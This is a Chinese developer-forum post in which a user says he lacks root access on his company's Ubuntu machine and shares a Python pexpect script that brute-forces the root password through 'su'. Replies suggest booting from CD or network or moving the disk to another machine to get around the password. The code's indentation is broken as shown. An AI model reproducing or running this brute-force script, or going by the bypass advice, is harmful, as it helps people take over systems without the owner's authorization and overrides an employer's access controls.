首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > perl python >

[d]python 尝试破译ubuntu root 密码

2012-12-26 
[d]python尝试破解ubuntu root 密码本帖最后由 fibbery 于 2012-09-30 21:19:36 编辑最近在公司想安装几个

[d]python 尝试破解ubuntu root 密码
本帖最后由 fibbery 于 2012-09-30 21:19:36 编辑 最近在公司想安装几个软件,但苦于没有root权限,IT又太不给力了,所以就突发奇想写个脚本尝试破解root。但在执行脚本的过程中,电脑过一段时间就会死机了。这个是系统防破解的自卫方式吗?但我在我电脑上跑了一天都没出现这种情况啊,有了解这方面的同学给点意见。给出我的code,暴力破解,见笑了各位,嘿嘿


#!/usr/bin/python

import os
import pexpect
import string

flag = True
while(flag):
for i in 'abcdefABCDEFGHJghrjklmn0123456789opqrstuvwxyzKLMNQRSTUVWXYZ#':
    for j in 'abcdefghrjklmnopqrstuv0123456789wxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for k in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
    for l in 'abcdefghrj0123456789klmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for m in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
    for n in '0123456789abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
for p in '012345678abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNOQRSTUVWXYZ#':
            for s in '0123456abcdefghrjklmnopqrstuvwxyzABCDEFGHJKLMNQRSTUVWXYZ#':
print '---------su-------------'
breakroot=pexpect.spawn('su')
breakroot.expect('Password')
print i+j+k+l+m+n+p+s 
trypassword=i+j+k+l+m+n+p+s
breakroot.sendline(trypassword)
try:
print '--------password=%s'%trypassword
os.chdir('/etc')
os.mkdir('testbreak')
sys.exit()
except OSError:
continue
--------------------
Double行动:
原帖分数:40
帖子加分:40
[解决办法]
引用:
格式怎么调的啊?我选的是插入源代码啊

先选中你的代码,在点击插入源代码
[解决办法]
引用:
格式怎么调的啊?我选的是插入源代码啊

 需要在标签里面添加代码

#pythoncode

[解决办法]
光盘启动
网络启动
把硬盘挂到别的机子上

热点排行